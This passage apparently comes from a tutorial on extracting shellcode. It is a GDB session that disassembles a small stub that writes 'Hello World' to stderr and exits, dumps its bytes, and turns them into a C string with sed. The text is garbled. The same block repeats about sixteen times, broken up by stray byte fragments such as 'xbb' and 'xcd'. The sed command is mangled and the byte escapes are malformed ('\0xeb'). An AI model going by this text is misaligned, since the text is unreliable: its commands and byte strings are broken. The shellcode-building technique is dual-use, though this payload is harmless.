0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x01" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xbb
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x00" "
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xcd
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
x80
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
0x8048342 +30>:    0x0c    0x00    0x00    0x00    0xcd    0x80    0xb8   0x01
0x804834a +38>:    0x00    0x00    0x00    0xbb    0x00    0x00    0x00   0x00
0x8048352 +46>:    0xcd    0x80    0xe8    0xdb    0xff    0xff    0xff   0x48
0x804835a +6>:  0x65    0x6c    0x6c    0x6f    0x20    0x57    0x6f   0x72
0x8048362 +14>: 0x6c    0x64    0x0a    0x00
(gdb) quit
$ cat gdb.txt | sed -e "s/^.*://g; s/\t/\\\/g; s/^/\"/g; S / \ $/ \ "/ g" # process the content in the log to get such a string
"\0xeb\0x20\0x5e\0xb8\0x04\0x00\0x00\0x00"
"\0xbb\0x02\0x00\0x00\0x00\0x89\0xf1\0xba"
"\0x0c\0x00\0x00\0x00\0xcd\0x80\0xb8\0x01"
"\0x00\0x00\0x00\0xbb\0x00\0x00\0x00\0x00"
"\0xcd\0x80\0xe8\0xdb\0xff\0xff\0xff\0x48"
"\0x65\0x6c\0x6c\0x6f\0x20\0x57\0x6f\0x72"
"\0x6c\0x64\0x0a\0x00"
xe8
$ gcc -g -o shellcode shellcode.c
$ gdb -q ./shellcode
(gdb) disassemble main
Dump of assembler code for function main:
...
0x08048331 +13>:   push   %ecx
0x08048332 +14>:   jmp    0x8048354 >
0x08048334 +16>:   pop    %esi
0x08048335 +17>:   mov    $0x4,%eax
0x0804833a +22>:   mov    $0x2,%ebx
0x0804833f +27>:   mov    %esi,%ecx
0x08048341 +29>:   mov    $0xc,%edx
0x08048346 +34>:   int    $0x80
0x08048348 +36>:   mov    $0x1,%eax
0x0804834d +41>:   mov    $0x0,%ebx
0x08048352 +46>:   int    $0x80
0x08048354 +0>: call   0x8048334 +16>
0x08048359 +5>: dec    %eax
0x0804835a +6>: gs
0x0804835b +7>: insb   (%dx),%es:(%edi)
0x0804835c +8>: insb   (%dx),%es:(%edi)
0x0804835d +9>: outsl  %ds:(%esi),(%dx)
0x0804835e +10>:        and    %dl,0x6f(%edi)
0x08048361 +13>:        jb     0x80483cf +79>
0x08048363 +15>:        or     %fs:(%eax),%al
...
End of assembler dump.
(GDB) set logging on
Copying output to gdb.txt.
(GDB) x / 52bx main + 14 # print out the core code of shellcode in hexadecimal single byte (character) mode
0x8048332 +14>:    0xeb    0x20    0x5e    0xb8    0x04    0x00    0x00   0x00
0x804833a +22>:    0xbb    0x02    0x00    0x00    0x00    0x89    0xf1   0xba
